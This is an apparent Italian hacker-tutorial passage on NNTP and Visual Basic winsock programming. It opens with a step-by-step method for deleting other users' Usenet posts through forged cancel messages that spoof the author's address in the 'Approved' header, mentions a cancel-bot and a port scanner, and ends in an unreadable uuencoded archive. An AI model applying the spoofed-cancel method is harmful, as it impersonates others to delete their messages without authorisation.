bisognerebbe trovare il suo message-ID (il referenziatore dell'articolo stesso su quel news server) faccamo un esempio pratico: Stiamo cercando sul news.tin.it -> alt.spippolatori ( he he ) un messaggio contenente la frase "SIETE TUTTI DEI BRADIPI!!!" ne subject per cancellarlo in quanto l'autore ha eseguito uno spamming indesiderato con una fastidiosa lista sequenziale. Telnet news.tin.it 119 GROUP alt.spippolatori LISTGROUP alt.spippolatori (mettiamo esca una lista di articoli numerati da 234 a 381) XHDR Subject 234-381 .. controlliamo e memorizziamo il numero di quelli con "VUOI DIVENTARE RICCO?" (mettiamo di aver trovato -validi- i messaggi da 118 a 222) troviamo i rispettivi message ID con XHDR Message-ID 118-222 si memorizzano e si passa alla cancellazione postando un nuovo articolo con queste caratteristiche e secondo questa procedura (per ogni articolo da cancellare): POST quindi di seguito vanno inviati gli header mimini della cancellazione: From: "nick" + (diversi dai vostri originali possibilmente) Newsgroups: Subject: cmsg cancel Control: cancel Approved: ok. (Nota .. sarebbe meglio anche se non indispensabile inserire nell'approved un indirizzo email con il dominio della mail relativa all'autore dell'articolo che stiamo cancellando. Se per esempio si cancella un articolo di Samba@rumba.com l'approved dovrebbe almeno essere @rumba.com .. se non lo stesso Samba@rumba.com!) E' necessario pero' leggere ogni singolo articolo e ritrovare quelle parole chiave che si sono imposte prima di passare alla cancellazione. Robot (bot) significa infatti costruire una procedura automatica che faccia il tutto automaticamente, e vb e winsock ci vengono in aiuto: Vi accludo un programma di esempio @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ CANCELLINO.zip @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ (UUENCODE attaccato all'articolo)per farvi vedere come dovrebbe essere impostato il lavoro per la costruzione del robot. Due considerazioni importanti: 1. IL PROGRAMMA E' A SCOPO ESCLUSIVAMENTE DIDATTICO.. e oltretutto e' solo la base del prodotto finito. Non pretendete oltretutto che funzioni da tool testato e sicuro cosi' com'e'. (Anzi sinceramente non l'ho nemmeno provato.. lascio a voi le modifiche e gli esperimenti per farlo funzionare) Sono solo poche righe di sorgente che ho scritto in 5/10 minuti di tempo libero e sono solo parte di cio che serve (anche se le funzioni essenziali e necessarie ci sono tutte) ne chiedetemi di farne uno piu' efficace o che lavori meglio.. lo ripeto..lo scopo e' esclusivamente didattico e se volete un programma a vostra immagine e somiglianza ve lo dovete fare da soli. 2.Uno dei motivi per i quali mi sono messo in testa di scrivere questi articoli ( che spero utili a qualcuno) e' proprio per dare a tutti i newbies lo 'spunto' necessario per imparare qualcosa di nuovo e non certo per proporre modelli o pubblicare programmi che eseguano operazioni illecite. ps.. il programma e' la base per poter selezionare degli articoli sul ng seguendo i criteri della presenza o della non-presenza di parole chiave in diversi campi degli header (a scelta) .. con una sezione per inviare tramite una fake i comandi di cancellazione. C'e' anche un paio di api e una piccola libreria dll acclusa che gestisce l' I/O delle porte su windows per far visualizzare lo stato del led del modem. (Ma sono solo per bellezza.. in effetti non servono a niente ai fini pratici) ;-) . - . ***************************************************************************************** Fino a questo punto abbiamo trattato il winsock come uno strumento lineare. Abbiamo cioe' considerato sempre una sola ed unica linea di collegamento tramite la quale spedire e ricevere i nostri dati. In molti casi ed in molte altre applicazioni piu' serie questo non e' possibile. Pensiamo al caso di una chat effettiva. Si lecito pensare che gli utenti che si collegheranno a noi potrebbero essere piu' di uno. In questo caso non e' possibile usare un solo sock (o socket) come linea di connessione, ma il winsock e' un semplice controllo percui nessuno vieta di caricarne sul nostro form 2,5,10 o anche 100 o piu'. Ad ognuno verra' attribuita una connessione con un eventuale nuovo utente. Questo e' utile ad esempio nei portscan dove molti servizi chiudono bruscamente il collegamento con con gli avventori cuasando un errore -di linea- e la caduta del socket... e' utile allora reagire prontamente con un secondo socket da alternare al primo. E' utile nei server dove, a parte la possibilita' ovvia di permettere l'accesso al servizio a N utenti, la disponibilita' di molti socket a ricerca ,in caso d'errore, garantisce la stabilita' del server stesso e la sua permanenza attiva. Ogni sock puo' essere chiamato con nomi di fantasia TCP1, TCP2, SOCK, WSCK, WINSOC, PIPPO, ecc.. ma questo creerebbe una moltitudine di procedure dedicate alla loro gestione: Servirebbe infatti il controllo dell'evento dataArrival su ogni sock, un controllo d'errore per gli stessi e cosi' via. Il vb permette invece di creare una matrice di socket molto semplicemente. E' sufficiente trascinare sul form un solo controllo winsock, chiamarlo ad esempio TCP e mettere la proprieta' index a 0 implementando a questo punto una procedura del tipo For n=1 to 100 Load TCP(n) Next n verranno caricati 101 Socket diversi (c'e' anche lo 0!) su ognuno dei quali sara' possibile effettuare un nuovo collegamento. Le procedure per il controllo degli eventi oltretutto saranno sempre minimizzate in quanto nei parametri delle stesse sara' ora presente anche la variabile INDEX che specifichera' appunto il socket sul quale si stanno ricevendo, spendendo i dati. es: Private Sub TCP_DataArrival(Index As Integer, ByVal bytesTotal As Long) GetData ricevi .. Print "Ho ricevuto il dato " + Ricevi .. Print "Dal socket n." + index end sub Quando la variabile ricevi si modifica in concomitanza dell'arrivio di nuovi dati noi sapremo sempre da che socket arrivano tramite INDEX. Allo stesso modo sara' possibile spedire dati ad un particolare socket (o a piu' di uno di essi) verificandone prima l'avvenuta connessione. Potremo ad esempio spedire dati sul socket numero 13 se questo e' in collegamento con qualcosa. Come fare per verificare il collegamento? La proprieta' Tcp(n).State ci da di ritorno un valore numerico 0,2 chiuso, errore, in attesa 7.. connesso bastera' quandi controllare questa proprieta' per essere sicuri di spedire qualcosa su un socket attivo. es. Spedire a tutti i sock connessi la parola "ciao" for n=0 to 100 if TCP(n).State= 7 then TCP(n).SendData "Ciao" Next n es. Aprire il primo sock disponibile (chiuso o in errore) tra tutti quelli caricati collegandsi ad un servizio HOST:porta For n=0 to 100 If TCP(n).State=0 or TCP(n).State=2 then TCP(n).Close TCP(n).Connect HOST, porta Sock_Attivo=n Exit For Next n ecc.. Lo stesso discorso nel caso della progettazione di un server dovra' essere utilizzato per le richieste di identificativo e la successiva messa in Listen. (Ne parleremo piu' avanti) Proviamo a vedere come dovrebbe essere fatta allora una Chat per permettere a piu' utenti di collegarsi con noi. La stessa dovrebbe permetterci di poter spedire un messaggio a tutti gli utenti, a un solo utente selezionato alla volta o ad un gruppo di utenti prescelti. ## Importante: questo sistema sara' la base per la fabbricazione di un server personale (FTP, SMTP, POP o altro.. non ha importanza la tecnica e' sempre la stessa l'unica cosa che cambia e' la modalita' di interpretazione dei comandi come specificato negli RFC) Facciamo il caso di un server CHAT allora che sia disponibile all'ingresso di 30 utenti come limite massimo. Ho messo come porta per il servizio la N.666 .. a voi potrete mettere quella che preferite ovviamente. La prima cosa da operare sara' l'attivazione come avevamo detto di 30 sock diversi. Caricato il winsock control sul nostro form, lasceremo TCP1 come nome e inizializzaremo la proprieta' index a 0. con Private Sub Form_Load() On Local Error Resume Next TCP1Close socket TCP1(socket).LocalPort = 666 TCP1(socket).RemotePort = 0 TCP1(socket).Listen End Sub Ci colleghiamo al primo sock (socket e' una variabile globale che si incrementa ad ogni nuova connessione) ci premuniremo anche di una procedura Private Sub Form_Unload(Cancel As Integer) Dim n As Integer For n = 0 To socket TCP1Close n Next End Sub per chiudere tutti i sock attivi a fine lavoro per liberare piu' risorse possibile. (Il winsock ne mangia dverse infatti quando si comincia a caricarne molti contemporaneamente) Ad ogni nuova richiesta di connessione la nostra chat dovra' attivare un nuovo socket Private Sub TCP1_ConnectionRequest(Index As Integer, ByVal requestID As Long) socket = socket + 1 Load TCP1(socket) TCP1(socket).Accept requestID End Sub Ad ogni arrivo dati la chat dovra' visualizzare il dato stesso con prima il socker di provenienza Private Sub TCP1_DataArrival(Index As Integer, ByVal bytesTotal As Long) On Local Error Resume Next If viene <> Index Then visualizza vbCrLf + "S(" + CStr(Index) + ")" + " > " viene = Index End If Dim text As String TCP1(Index).GetData text If (Right$(text, 1) = Chr$(10) Or Right$(text, 1) = Chr$(13)) And Right$(text, 2) <> vbCrLf Then text = Left$(text, Len(text) - 1) + vbCrLf End If visualizza text End Sub merita un attenzione particolare la linea If (Right$(text, 1) = Chr$(10) Or Right$(text, 1) = Chr$(13)) And Right$(text, 2) <> vbCrLf Then serve perche' se ci si collega alla chat con telnet o con netcat si avrebbero risultati diversi. Telnet infatti termina l'invio di dati con un CR+LF mentre Netcat si limita all'invio di un LF (o CR?) .. e questo darebbe caratteri indesiderati sulla nostra casella di dialogo. .. la base del programma e' tutta qui. Scaricatevi il sorgente @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ SOCK MULTIPLO.ZIP @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ allegato in UUENCODE e dateci un'occhiata dopo averlo compilato e fatto girare. Potrete collegarvi alla chat attiva alla porta 666 sia con telnet che con netcat anche senza essere in rete mettendo ovviamente il vostro localhost al posto dell'ip .. qundi ricapitolando.. caricate la chat (sock multiplo) .. poi avviate N telnet con Telnet 127.0.0.1 666 e N Netcat con Netcat 127.0.0.1 666 (netcat forse vi fara'partire il dialer per connettervi al localhost.. date annulla non serve essere connessi per collegarsi a se stessi. ;-) ) Ogni sock sara' monitorizzato in una finestrella apposita in basso. A sinistra appare una lista dei sock attivi.. e' possibile fare una selezione multipla quindi spedire a tutti quelli selezionati con INVIA il contenuto della textbox a sinistra di invia appunto. (come fa netcat) Nella textbox appena sopra bastera' scrivere qualcosa per inviare immediatamente (on air) i dati a TUTTI i sock attivi. (Come fa telnet) Scrivendo qualcosa su i vari telnet e netcat aperti i dati arriveranno alla vostra chat con in testa il numero identificativo del sock di provenienza. ... il programma.. continuo a ripeterlo.. e' solo un ESEMPIO.. non e' un tool finito. Si potevano implementare migliaia di altre finezze, controlli sugli errori e altro. Ma questo ovviamente esulava completamente dagli obiettivi di questo manuale. Da spulciare senza troppe altre spiegazioni vi accludo (sempre ne magico UUENCODE) altri due programmi di ESEMPIO da guardare che potrete usare e modificare come vi pare. Potete dire anche che li avete fatti voi.. avete il mio permesso ;-) E sono un porscan - scansite .. il cui funzionamento voglio sperare capirete da soli. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ CERCA.ZIP @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ E un SERVER BASE .. Provate a caricarlo compilandolo. La porta del servizio la scegliete voi. Di base c'e' la 666 (come sempre! ;-) ) .. una volta attivo vi collegate con telnet o con netcat. Se non siete collegati telnet 127.0.0.1 666 .. dopo di che scrivete su telnet HELP per avere le istruzioni e i comandi disponibili. Ps.. ci sono solo quattro comandi stupidi.. se volete fare un server FTP o un SMTP e' necessario leggersi MOLTO bene gli RFC per sapere cosa rispondere ai comandi inviati da telnet e in che termini. Cmq non e' affatto difficile. ah .. il server base e' il programma @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ SERVER.ZIP @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ e gestisce solo una connessione alla volta.. ma modificarlo pe accettare connessioni multiple e' molto semplice.. La procedura request-id ad esempio potrebbe essere modificata cosi': Private Sub TCP1_ConnectionRequest(Index As Integer, ByVal requestID As Long) For sock = 1 To 30 If (TCP1(sock).State = sckClosed Or TCP1(sock).State = sckError) Then TCP1(sock).Close DoEvents TCP1(sock).LocalPort = 0 TCP1(sock).Accept requestID Label1.Caption = "Collegamento effettuato e ATTIVO" Host = TCP1(sock).RemoteHostIP Exit For End If DoEvents Next End Sub begin 644 chat cifrata.zip M4$L#!!0``@`(`&>'<281'%73+````"\````(````8VAA="YV8G=+RR_*-52P M53`VUE&P,-=1,#6V`!+FECH*.@J&1D"FCH*9.5#.Q`@HQ,L%`%!+`P04``(` M"`!:AW$FB4-D"7D!``!!`@``"````&-H870N=F)P59)/3X-`$,7O)'R'!B]Z MH%G\D]88#G4KD9BVQ-;J=0N#765WR++45N-W=P<:C1>R[S>\F;<#JT,-\=T> M?"]!H^+2/8:E4;ZWV+Q!;N.OVU'"+Z[&+!SSNU$813P)KT=7ER%CDPECG+%K M-OX^B8;LA-T,GM/YDC\,%_S%]](<==J*Y.MF MZ4,?:R8:"V80#NY%_@[F&$56+@SJ%:W6&1>UE4I^_F.)V*')W$C9*G>W4ZO. M"',7?RWA8PJ;]C75)1*V? MGJ;K7_&D#=FA2++NHO1!NI5U-6$M4)'4:FM`%!F8XW_`:*/[>:LV#I5]M:'= M_@!02P,$%``"``@`6H=Q)K)])L\M!P``7!X```@```!F;W)M+F9R;=U9;6_B M1A#^'BG_8[:+Y$Q"VQC;&HO4=*J_[VSN\9> M!V.XD#M5382#=V9W9IYG9G;MW.HCTQ@.4*VD***JJKUBA>-6K6H*.VVHFB*?X2S>"BHM,3A%#'LN\US_%\)'Y:\#F[4I2FPG[.N(YFK2CQ M7(0DG9QVU1XCS>B-VN,VRA,TM2A!@>=ZB+@/A-U0WUH2BM%8NT&V-R4S8K/A MKFX62/"HKS9HD_$*F=!$) MFVI%S#1L*9!-+`R/TLQ_S'U@07.]/G'O87UBRWH,/%7X?F,YF%)\[4UQ[!Y" M[WX-\.]#?XI]KF7:H!8'F(R0"V,WDWY&A&D+;-]WO$?$OX2L'4C<3N[X4KF- MCN1@C&:MMA''',3B>K.J;.1C:V*X4_PHR]58&I$D+=ZH1'()`$DNQ+H[?0:& MMUQ:[K2SIA1BZAJF-AP,]/'8V`N+!K^]7C8L8WUT;0S:V;@T#\;EV@I27>G! MCQ8S9-(G!S];AF72I6^M%E`R3A;.]2R8+^J1+Y"6"7>8N,BLC/TUSJ)"52YJ MAW#1!BKZT`GV\\#"S^:A;YAC??!:-!R%;RT+WT99>1ET8_Q(64E?>0$]`#%= MSMR7H*%DUFHS$H);6[U1+3=*"OS&[2(-"C4;BG*E>5`6?4,Y[T^CS6+_B41J M9*&WV1%>G$@KSZ?6#\BDBL1S6I1*9BK5Z_5CDJA6VX-"7[^\C%,'-FN5G3&X-0YKW=J>DP5?Z;B"BP\>1Q6Q7P?CXL@EY3>0'-.:9%]#S(XEDG"K:3K6Q/L('XMO\X#P+!K]`PMKM3T MO!1+*?K9$4\*#77/DX*:_:10K64E7:->VPM9]54@NQJ:X]R^,GY6[2^`2RKC M-+0N,DNCEEV@ZGZLU(,:FK0+=#SVL!MWZDV/[I%'/$4FE)>#,W&%/9"_&4!3 M\,&&;1+/K254K8<^P+[4AO/;[?"P-&T<@WMESP-M]8B#2S6QF_!+FU*?3-84 M`_YW`PB8O>&9A:\7$L)+QYM8#E,Q5Y;-],+VE-#2?&Q1:^+LDM_X>(IMQX(_ MQA1TQ$Z04-$?5UZ`I_$"-SYYL$!FKB?1P?Q.;8-"D5V5;:I$0KZIK&#.79)E$R*3/^\1,*(!$=YEH!C1?8Y5M(B8^( M&?P^[J:M38L5>I[KLA=HK$6?HUO+R?.SFR;8Q^H9BD5':$6IH>V^8$FW;[F9R"MNG>".(K`## M-)F:6($$L(,G`DB&P,^;<0#66U@I/)J=GHCG@18:L6Z0%W=G<$;]E(,_H'J& M'B::WY^=HPH<*I1".*-D8@>2CWO5QZZ8R+R"U!1OSDK@[)HAHXJ,#,V*5YQY MZRTHBQ3&[K0+=0D*IR>A6_+J2F(4;,VA=PBCX7A!UJ`]SUX'.^ED)N\XX__? ME!4QBIK>1+EM4Y/-X-D,4[JVV%>4L,>/;2UA-C[('60;#(WPGVL+.Z*)V`$<[=U[X+NVL;=MX16-KWP4!XR8;`Y;2;9^-.F'TDR>*@[%'X6LR M_"Y9(EX!,&S"9N/.Q?C01;KOPSX^PL$:=K\!/%9)85YBRF>Q2X1C>NUQO1;J MXJC^V,@F-=([P(AW`#YSNP=$\W;U@2QH>%#YP7HYP3Z+V7`IGF/_'/P+;)\( M?B(LSI%ILW\@A)C!K;?V;2PK7&%GU2/.UACD(67O6**IFN7:V.F28.583VRX MXWD.MMR=1:*/1L.1CHJ?$`9G?PC.J6098\SE9NT*K M`ZD2">P%L1[PUG!?/4?]LH1?)!GZ<\-=/3,Q@O[H+AZN[Z-P"NC:8TK1&W_N$5S>;]S" MX;E>$"+,B@@*0+`8/>.CT9H"C)!)F,*5!-\;HA.D2U7VPVB7^&08BE(.400$ MDWPR#7:\?ZZPP41B``B(Z4-%5/ZQQ!=?G_B8G5U4_@M02P,$%``"``@`68=Q M)F(IN20#`0``"@,```@```!F;W)M+F9R>,51,6[%(`SU;[XJY6<`EDIL&3M6 M8F3I@3KV`#E"&-DZ9V5DR7$Z^@1UGZ%24JGCEVH;K/?\##(\#D1O[T1?#P2[ MP.?98K_2)Y@G<,]8,]9KJU]51DM3_V5+"UJ6GM25PK;O.QAI02(]J2NE^/Y& M9#0Q]<,OSED0/(2@!#N8%0$,`?R8DG?.<"C`+Y![%1BNH6%&&8R=8FP-G+-W MR=FAEM*P3QD".Y5&:#TGEU;4:^PX@4"]E/I3SR[9J=:(!B.C"C+NJS@`]P./ MR35<%7->5[^*3#74J(.1,=3F&6(?D(V(&8ZO_*=/NM_[1M02P$"%``4``(`"`!GAW$F$1Q5TRP````O````"``` M`````````"``````````8VAA="YV8G=02P$"%``4``(`"`!:AW$FB4-D"7D! M``!!`@``"````````````"````!2````8VAA="YV8G!02P$"%``4``(`"`!: MAW$FLGTFSRT'``!<'@``"````````````"````#Q`0``9F]R;2YF-HU,+@```#(````-````4')O9V5T=&\Q+G9B=W/+ M+\HU5+!5T#4TTE$P---1,#4#,HPLC744=!1TS0R!`D"^F9DQ2,9<1X&7"P!0 M2P,$%``"``@`?8MS)D#@G#;&$@``*&L```D```!&;W)M,2YF_0]Q$[2+&O_>ZQV. M;*=O;/='![UMTQP=;@]Z3F?;,(9#PQ@9QL#H_^^2&^NCC7OLPB&8(7DST^A5":(3#A`8^RKYVV;_&"/LN\3SJ!PT! MY%'B)Q\(O;E-,J!NWW&DR2-RG108NH8T=1&$$G*[(R^[I-/D-I\;]$VQ\(CZ M7]DRZLI4<:H%01,7>Z2@ITP0GRP0ES%/$APE?X5G04PYWYPDA#8OJ3\-OL5H MGUSCN9=PV%QHHV`VP_YT;YXD;$GZ6U<(<)4,CP[>OQ\W,A")UD(2J92`WUQZ MQ72_5\Q?X*NQ/R7W\KS3R6=S`4L[T+'RU9(L"H'TA+`._&F9UPLZ(Q'BKV;. MX=A/2'2'/1F#J:2^5SR^BCRKVS%6/)_<)WO!/8+O/:22G]5WE!28Q7R5_#IF M/LL>M;BZT6CL4<]K--"[*_;]^S]GU(V".+A.VFXP^[.A8LZT;4ZLS6,'\ M881G!/%72ZU>DS`(KJE_@Y0J9CH#Y2ZQ75#*R!ZH^.P-E&S:DH)7;F]A0?H= MYDHH49=!2/.52N`8$D2E&M@R0)4F#*.$NH%'D<\V@?HD8GZ+(NJAA,PPFA(/ MG;QOR$BJ5,(LL:+4"DDQGE%R9GW)63K)X2AL6[;9GI*0AB&-Z79(S'Z;)CIQ M9:Y<(2VGT-R?("U#)RW;T4G+T$GKV[=O[9*7T4G)LNI*Z0A?,?7EKZ8C2ZG2 MYQP'";T+&CIAEJBJ$M9`JUD]G3E9'1WK@\[:G'>TG)^<7)SI^#8']?GN:O@> MF%JV>VNS;6O9/HS*2EBYW3V=;9B&UC8<#=].Z2&5?'>-=?FVM'Q_".+D9VQW M1V?@_4=L]U)2,;HE[E?PA?P'3=HJ8)1)A>4H\RY-2F$ITU;+TJ1.CJ-/&YUU MT\8J3Z_DK6\J4W++KL.;[9C&,S/7J<.Q M.FLQV5F#R1V4*>4 M:CKV"N,\HC&/(?#=5,>0GKI0)Q0B?$@WN!?#U"FP?W"6&,356,*N.) M+1VSJG?5?LBV:NSTXOSTX[!6@;RK+O`JHXIM:NKC@S7R`ENYI[:A)']@VTJ= M["K+TY:A+D&KN;-[:QRCK#K5=]/2W%XHN<->TK[%[E<2Q6TWF-_=!VEK)2N6.>2W$9@ MS"L!F;@S\61#AT%$ED4+E?G=-AEU%]&\4#\W M"CQOC\D6E4+P1P)W1=A3GL;5(;BO]%\]H_L0_Z7+(G^"\S)KA*D5SFO!]LSG MC%.&,D[YY%OQG56>.V4GDKL\"^N2;[YD]A MOZN]BS.?EGUC3?:-G\*^[FI*NH%Y"NX'ZS$_^"F\Z^ZGRK?>M7GOK\=[_Z?P M;FMX[PR>E/?>>KSW?@KOENY>LJ[#DZ]C]=X._1]"I^?PZQEF>1=!`0HQ2[30 ME"(6<@F:8A11ET0NC@CR"44NGH44+7Z-AL=G8[0_1N?CT<'Y:*B59:?^U;;= MU[G/GE:87<->^W);[SS1N1`58H<_$F%9"-4)=GIVV=^H+:Z.T]7JGJF-MMI> M`+GK32,OO;ME!T>4D#@)H-/+V\2B&2QX:6(SM%':T(JM:Z]KM/VUQ#8,PRBX M(],7)BMKH`OI7:VH>N:Z&M9;2U30:8.:R*?N5_06D1FF'FK]7+GU=*[,ZM=. M!_(#G5YNW;7D!HU9VV=!G%#_9GNQ;>_G,=42WZI3K471%,2 M39+O'BF>"&4P>D^F:,(TVB,U"C.#3E]=@5>7E?O&HR[X4FD,7IHP))6K%(;U MC,+HO3!A]!U++0SS&87AO#1A6!HS,9Y1&-9+,Q-#?4_>&3RC,%Z:`]6]`:O3 M?SYA\%=-7\3[\]._SAHU:M]=4]WGHO:)FC)OU]#RIVD0.#FXG*#)P?G'@_,Z M7*IOV4WU_82ZS<6T+3V7FG+]!9F%`9KA>W1.0N\[FA!WI\Y]3,]1:ZUIU+F0 MZ9EZAFVM'1_P/T]FQYH^$8T5U^D2Z7=E>?"789)$]&J>$":5+_P>=[=XZVII M\KT77&$/0"8A=@$NO0`M08TB@A-\Y:V:/XO(E+@>9M_&4P8CKBE+(`?W81"3 M:8%@$_WWG+`S$U3-;BF>480]]H!A2!&!'S'RJ!^1B&)H%!@XX]/VU/-@W81$ M=X$?(!*[WCRF=XQXGST$HQD[>T50?J/(8X]RF9I[`8H3G`2P#MXE-PNF9-9N MMU$,&&*F%R@D$=ID*N.1'S_P)G^#79P^@9T]X`W"Y&^P_);`W[]OM^"7W<=_ MO7YU%C&B&<7[0F;H<.Z[W"@GQ)\>DSC&-P0J8Z@Q9Y385@,-/8ICU)#FAPW4 MW/O^$7OH]M*?HF&,C@+_9@N)L6_'\$X_@F(`C MF4<+=#85"-@1CC&8B##SXL#H?G'$ M_;XDG4,/W\2Y'*K)O[LZG2>"[DPG]X^.!7V^>7?,^83K/Z(E_:S#^NVQ:-$H\.,$?;@8#<\NX%,'=J$_00Q>'G\Y M&1WM_75Q<7JR?WH)[M,9&IT>6[6-4:"Z(U-:(@H&H9Y_QX>A701T M&D;=8%:"+.0"FY@U/7P9>=3]VF1[@4Y]=!!%+`"=DWC.?/$)N8?W]@.>7=Z: M`)U/;<:O#]V4O)M@B^4$D.:F%##OW=@!_X6A#R4-<&R0KXECM@7,_4&;"J^D MB!0--=!&VE"WP;9K%!U=KX,>6`DJM@T6RT1N`48D'_#-(\E$`PV3386#.;^=AJA:RBP-]!;-&+^I,DH;+&? M&]O%"+YO26:T66D^F[(:6LNJO;.DUSN22E03-A,YQ3:=/@MYPY`-31]/7BR* MOR^2-M]/PNTP+?[?0K?GKZ6R""LE5_Y?V1=8W.X2B6`ENR4RV6I^F("@MB+& M646,^\T=)?PF:$X"9N151E4&?OT*(,##&.S,ECX77D?!G&W--@_KKU]E%[5O M&&`!T_1!8OG6W+$SSC4#RUQ+P#4H7\H1;:(42GS61QC16"Q&]7Y@:P)=XAV31:H!.&I!-+NRI;4JH>A3G)7"PIR/N`[?3J[/N:XC1_*W&^V_UE\GRD5O/P7[:7F+"X/GU"B[&JMKBOM9CJ8/&@S=:@ M>(IM-U^$%6E$;/[V(OZ%EK5D(,PJ?CRA>=A5>S?0FD>>'S]HNY97/<4.62_" M"#2"-'\30?Z.0603';ANNXT(O#X:SR8:ST*/0(6:]X7.`R:ZU,Z@=31M&448 M_>^<-_B%+'_D!CAC)TLRNXHP"N[N:-"N47D&=E(9[3`A0?T)^5DB6UWDD#;G MA>?NZC.*79Q15I3A1/$-T,E)N5Q9RP\NM%5Z*I)JF.)K$[GB8UMYV81(XPFO[5%H MFL8SDD30-8V3A.8@!2R`!NCP_/1XI]SO"A6_#']4(%?ZLC+U;TO4\Z]E=[:3 MST)'))S="-PKT:8`;:TD^?A@,AF^/]@>[S^>\*P4,]ZO3WZ*BTX?P$/6:/=H M!N332"WJ4T1KT8ZH_X-B^#S,-&];12),-Y8I65&G7GA(')(IC5V"H!!X2_"4 M1`@N&UU>)Z<2)-PI>GB%,2R0!$JVP\4EU&V)N`7X$_(MOHF">1B+5:+ZKEN5 M[ZN@B:]LL"_V+1=T/J)&-1(E]Q(J2=5TR[..[`?PG/ND_(<&"KXV2@/MAVWK MDKMKH*%I%U4.4B*^TFJGFGVLM5`)T!R6'2187-P< MB+<>ZQ9%%-0M6U,\N12@LC\5@:<_O`4$Q:ZDX;N<.ME$E0$OF=2S')P<*H!+==^O1;>/0N0&\# MYK>EN9"G$LRTFFPY8&'`K=6DX"UH2V\M(!$/@.0KQ"W-4_#B8X2`V7R(Q4YD MHE^A85U)PV!OGR`]64HUZD5]?M^[BWH[=>+_4\3O]0A9)Y+7#L;KD:()RYGS M$M]E!YVYUYT*:C8*N"\"#P^+Z2.K(H4$>5R(?&;L87N3+ MQ?20D#JI%0<`D/P7D/HP@E$O]417WQ,27P0)^[%H*UEQ"BE.\,R,WS2+I2"; M!MJ#W^&\R-P^A7MN#$^"M,SCS4HLW<@NXKF%<%UX3Q*N"OO0<`4PX'P*1\;L M+=MQ<5N@2&VE("1/MFP>I)+F MTA(6`#BZE@3#T/(BI%N55N3WR$$]@?7[%3++%+%B:7*O.LO>0@^'^`\H5_:_+B MWQV-Y]BC/W[@O+.U:&M%#Z]3BHZV3UOH,W-V^U"Z!;?G)O$6FL;,PTX3]A*! M'4.O7=I_T]CXP$^/AG78YWEF]_6K3_R\PLX#30!DM'XN#<`6MGA9N_F);X1I M]?FV6'TAX-&^2.X*B&X'`+H=,0^$+4*878ZB*R`8T8L`M@4`MB4`&$,%P&>! MH947T8'5Q6F^/%T=9>BC(([!>YZ_WVM:#G,S3%^,U@[>Y5GMHBV=>3J.$DY_BS,<:8Z#GVDD+.9*+*8""Q.4C,19B<11(&'"E)'T M5B+IJ9`D)22#E4@&*J&4V3$50JF4RD,KZB5[_7]02P,$%``"``@`?8MS)FAH MIVF_`0``L0(```T```!0"`0-M0FH,'236KS?[+`^3^_74R>]7M@JN_$YRBB7AS#22PR,4TGM9+:)@ M=K-$DV6P7DQ<-X@FMXN;N>KC^PBIEK=H^6J[NL_7*U4_"^Z<)/AE&G'!66_! MZCU8II%)+&37?!#*YA93F$T]J\#*6%T3QAVX@-("3BEFI=84TI]Y5BKX$:3D M.O<[U$W`F82+C$//0D-*HZ8_U+#A)0S2:N,CE`[ MCUDA@`*3(Y>!.(/(NJ;A0D:DAE:S2M1Y?2_V/,SEB^)$*)3CW`VI^R7F^BI5 M2M)(0LG?_[@(G[E(53/2467KDZ2?-1VHP7<$GD(X=,>855R36^[7!+>$'35: M\8Z5;7""XD]?7,U8U?SIG8CJE!,F/W`8[][!3R9T.I11VEO4-](OJ]>PE*!% MC?*3`%RF(,8?`>E=7K8=/2BJ&M16;_4-4$L#!!0``@`(`."&_R)V"WJ^-`,` M```0```+````5VEN.35I;RYD;&SM5LUK$T$4_VV:EK2FH1?!0\$M5"A%EQ9; M-2(8-%$CT03[!06QF\\N)INPV5@+*J(@2B[^&]X\>"B"(+WUT)O>%;Q9V__` M^IO93;)MVBHB%&G>\N;-O'WSF_?FS=>M^=?H`N`G;V\#*W`H@M_34W+HY/L0 MWO6N#ZTHB?6AZ46CJE:LVI1W&P[YO$$X1!<7-"NKV[KKJ^K:];2Y M&-&LJI6!&\.8:Q/8RRY7+-,PV$BRP`NUV5U!AXX$S=0W5A3*YX^#2LWWO8<2 M-:RM!E'_R'_Y^DP@7X\%-]=6`_"T\UM"H35M-D:_K:WZ/7U^B&:'_@MJG+WS M/%_$6NAV>83M2^24ZIQ1@^33Y`@Y18XRF8,."`1,%HADH(D=D$WF4:9.6-F.8((>E3,OK,85! MZJ_2IL0O1WL;5>JO$RO'SW81J[QT\]0).Y5CE=FRV<^@+L.3TG#[741_$Z\" MG7V7&9TNL07MWQ.XP(M::?H>)5=I(6*J2#_*1!,T)WT*8U+J@%'NTE:_6;+% MGBW[<6B,==Q]WH@QXC).86?2MZ+'P]W83W"&]@G^*TA+$5F%,0FO"EB$>+NT MZU2\(8\3)XQS1`CC_`&SIC(+8F8++'69!V?.!6W2SCO^M+3)LEVBM'#?G;O] ML0U9ZF2[K:\J,Y3]"]^\N);T3K2=.",Y>&FY]& M;LU]\J1QG"(_X":.L[_C+V?D9&G1=]_&C\^6?)!1HC%K_3$>G06]PX'8. M@I-1Q_."T\[A:-#ON.YDXKJ!ZQZZ!_\^\;KN$[?U.VI]F)TM@C?=\^!CZ_&C M*5G1&%U-NZ<\62/YX:''CQ!"`=X(RF.4O\;P;BUX^`6MMTS0#>.H@][B5)`$ 